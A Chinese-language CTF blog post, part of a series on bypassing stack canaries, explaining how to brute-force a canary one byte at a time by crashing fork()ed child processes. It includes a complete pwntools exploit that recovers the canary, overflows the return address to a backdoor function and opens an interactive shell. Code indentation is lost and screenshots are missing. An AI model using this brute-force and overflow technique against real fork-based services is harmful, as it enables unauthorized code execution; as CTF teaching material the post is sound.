Canary绕过专题(3)——One-By-One爆破

648 字
3 分钟
Canary绕过专题(3)——One-By-One爆破

利用fork()获取Canary#

核心原理#

fork()是一个系统调用,它的作用是“复制”当前进程,创建一个全新的、几乎一模一样的子进程。

  • 关键特性:
    • 子进程是父进程的副本,它们有各自独立的内存空间。
    • 对于Canary来说,最关键的一点是:fork()出来的父子进程中,Canary的值是相同的

因为Canary在每次 fork()后是固定的,而我们可以通过让程序崩溃来获取信息,这就为我们爆破提供了可能。

Canary通常是一个4字节(32位程序)或8字节(64位程序)的值,最低位通常是**\x00**

所以,我们需要爆破的是剩下的3个或7个字节。

核心思想: 我们无法一次性猜出整个Canary,但我们可以一个字节一个字节地猜。因为父子进程Canary相同,我们可以通过子进程是否崩溃来推断我们猜的字节是否正确

我们可以用这样的一个循环来爆破,从**\x00\xFF**最大需要尝试256次

for i in range(需要爆破的字节数):
for byte in range(256):

然后接收反馈的信息,通常错误的Canary会反馈 *** stack smashing detected ***:./pwn(程序名) terminated

if b'*** stack smashing detected ***' in response:
continue
if b'正常反馈' in response:
canary += bytes([byte])
break

打远程的时候最好添加一个 sleep,执行起来更顺畅

看这道例题

image.png
image.png

IDA分析一下

image.png
image.png

可以看到fork的进程会调用 kid函数,这个函数没有可用的漏洞点

再看kid函数

image.png
image.png

很明显的栈溢出漏洞

那么思路就是用one-by-one爆破出Canary,再用栈溢出覆盖返回地址为 backdoor的地址

这里引用一位师傅的提醒

Note

在利用 fork() 爆破canary的时候,需要特别注意 sendsendline的区别,理解不同的发送方式可能会造成的逻辑混乱,请阅读这篇文章

以及,如果用 chr(num).encode()的形式将数字转换成字节的话,会存在当 num>0x7f后,encode后会变成两个字节的问题,因此,不要用这种方式转换,可以用 bytes([i])的形式。

最后得出exp:

from pwn import *
context.arch = 'i386'
context.log_level = 'debug'
#p = process('./canary3')
p = remote('ip',port)
door = 0x8049321
p.recvuntil(b'please:\n')
p.send(b'joker233')
canary_bytes = b'\x00'
for i in range(3):
for byte in range(256):
p.recvuntil(b'\n')
payload = b'A'*30 + canary_bytes + bytes([byte])
p.send(payload)
response = p.recvuntil(b'\n')
if b'*** stack smashing detected ***' in response:
continue
if b'DO MORE ?' in response:
canary_bytes += bytes([byte])
break
canary = u32(canary_bytes)
success(f'Canary is :{hex(canary)}')
pay2 = b'A'*30 + p32(canary) + b'B'*8 + b'C'*4 + p32(door)
p.send(pay2)
p.interactive()

支持与分享

如果这篇文章对你有帮助,欢迎分享给更多人或赞助支持!

赞助
Canary绕过专题(3)——One-By-One爆破
https://joker233.top/posts/canary-bypass-3-one-by-one-bruteforce/
作者
joker233
发布于
2025-12-01
许可协议
CC BY-NC-SA 4.0

评论区

Profile Image of the Author
joker233
Aspiring to master the art of pwn.
音乐
封面

音乐

暂未播放

0:00 0:00
暂无歌词
分类
标签
站点统计
文章
10
分类
3
标签
7
总字数
10,627
运行时长
0
最后活动
0 天前

目录